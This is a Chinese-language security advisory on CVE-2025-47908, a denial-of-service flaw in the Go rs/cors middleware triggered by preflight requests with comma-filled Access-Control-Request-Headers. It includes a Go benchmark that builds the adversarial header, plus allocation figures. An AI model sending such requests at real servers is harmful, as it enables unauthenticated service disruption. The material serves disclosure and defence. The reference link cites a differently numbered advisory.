首页 网络安全 正文
  • 本文约813字,阅读需4分钟
  • 2
  • 0

CORS恶意前飞行请求拒绝服务CVE-2025-47908

摘要

栋科技漏洞库关注到CORS在处理恶意的预检请求时,中间件会导致大量堆分配的漏洞,追踪为CVE-2025-47908,CVSS 3.1评分为7.5。

Go CORS handler是一个Go语言实现的CORS ( Cross-Origin Resource Sharing )中间件,用于处理HTTP请求中的跨域资源共享功能。

一、基本情况

CORS是一个在Golang中实现跨源资源共享W3规范的net/http处理程序,该产品遵循 W3C 标准,允许服务器端控制不同源请求访问权限。

CORS恶意前飞行请求拒绝服务CVE-2025-47908

栋科技漏洞库关注到CORS在处理恶意的预检请求时,中间件会导致大量堆分配的漏洞,追踪为CVE-2025-47908,CVSS 3.1评分为7.5。

二、漏洞分析

CVE-2025-47908是Go CORS handler中间件中存在的漏洞,攻击者可利用该漏洞在中间件/服务器上产生不当的负载,试图造成拒绝服务。

具体而言,当处理恶意的预检请求时,该中间件会导致大量堆分配,这些请求包括一个访问控制请求头(ACRH)头,其值包含许多逗号。

Go CORS handler中间件以一种相当次优的方式处理飞行前请求的访问控制请求报头(ACRH)报头。

更具体地说,处理带有恶意的长ACRH头(或多个这样的头)的预检请求需要相对较长的时间,并且会导致大量的堆分配:

func BenchmarkPreflightAdversarialACRH(b *testing.B) {
    resps := makeFakeResponses(b.N)
    req, _ := http.NewRequest(http.MethodOptions, dummyEndpoint, nil)
    req.Header.Add(headerOrigin, dummyOrigin)
    req.Header.Add(headerACRM, http.MethodGet)
    req.Header[headerACRH] = adversarialACRH
    handler := Default().Handler(testHandler)

    b.ReportAllocs()
    b.ResetTimer()
    for i := 0; i < b.N; i++ {
        handler.ServeHTTP(resps[i], req)
    }
}

var adversarialACRH []string

func init() { // populates adversarialACRH
    n := int(math.Floor(math.Sqrt(http.DefaultMaxHeaderBytes)))
    commas := strings.Repeat(",", n)
    res := make([]string, n)
    for i := range res {
        res[i] = commas
    }
    adversarialACRH = res
}
$ go test -benchmem -run=^$ -bench ^BenchmarkPreflightAdversarialACRH$
oos: darwin
goarch: amd64
pkg: github.com/rs/cors
cpu: Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz
BenchmarkPreflightAdversarialACRH-8              9     127347568 ns/op    121176114 B/op        1053 allocs/op
PASS
ok      github.com/rs/cors    3.628s

这需要127毫秒的执行时间和116兆字节的堆分配来处理一个1兆字节的恶意飞行前请求!

攻击者可以滥用这种行为,在中间件/服务器上产生不适当的负载,试图造成拒绝服务。

安全人员用rs/cors创建了一个为CORS配置的小型服务器并在有限内存Docker容器中运行;

并发发送一定数量恶意预检请求就足以让容器耗尽内存并死亡。

此外,因为CORS中间件发生在认证之前,攻击者甚至不需要认证。

当然,大多数WAF可能会放弃那些恶意的预检请求,但不是所有的服务器都在WAF后面。

三、影响范围

未知

四、修复建议

未知

五、参考链接

[lv][https://pkg.go.dev/vuln/GO-2024-2883/lv]



扫描二维码,在手机上阅读
评论
更换验证码
友情链接